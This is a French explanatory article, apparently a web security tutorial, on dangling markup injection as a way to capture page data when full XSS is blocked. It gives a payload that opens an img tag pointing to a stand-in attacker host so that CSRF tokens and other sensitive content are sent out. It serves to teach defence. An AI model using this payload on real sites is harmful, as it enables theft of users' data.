XSS dangling markup

Qu’est-ce que l’injection de balises dangling ?

L’injection de balises est une technique de capture de données inter-domaines dans des situations où une attaque complète de type cross-site scripting n’est pas possible.

Supposons qu’une application incorpore des données contrôlables par l’attaquant dans ses réponses d’une manière non sécurisée :

<input type="text" name="input" value="CONTROLLABLE DATA HERE

Supposons également que l’application ne filtre pas ou n’échappe pas les caractères > ou ". Un attaquant peut utiliser la syntaxe suivante pour sortir de la valeur de l’attribut cité et de la balise englobante, et revenir à un contexte HTML :

">

Dans cette situation, un attaquant tentera naturellement de réaliser une attaque XSS. Mais supposons qu’une attaque XSS classique ne soit pas possible, en raison de filtres d’entrée, d’une politique de sécurité du contenu ou d’autres obstacles. Dans ce cas, il pourrait toujours être possible de réaliser une attaque par injection de balises en utilisant une charge utile comme la suivante :

"><img src='//attacker-website.com ?

Cette charge utile crée une balise img et définit le début d’un attribut src contenant une URL sur le serveur de l’attaquant. Notez que la charge utile de l’attaquant ne ferme pas l’attribut src, qui est laissé “suspendu”. Lorsqu’un navigateur analyse la réponse, il regarde en avant jusqu’à ce qu’il rencontre un guillemet simple pour terminer l’attribut. Tout ce qui précède ce caractère est considéré comme faisant partie de l’URL et est envoyé au serveur de l’attaquant dans la chaîne de requête de l’URL. Tous les caractères non alphanumériques, y compris les retours à la ligne, seront codés en URL.

La conséquence de cette attaque est que l’attaquant peut capturer une partie de la réponse de l’application après le point d’injection, qui peut contenir des données sensibles. Selon la fonctionnalité de l’application, il peut s’agir de jetons CSRF, de messages électroniques ou de données financières.

Tout attribut qui fait une demande externe peut être utilisé pour le dangling markup. De même que d’autres tags que <img>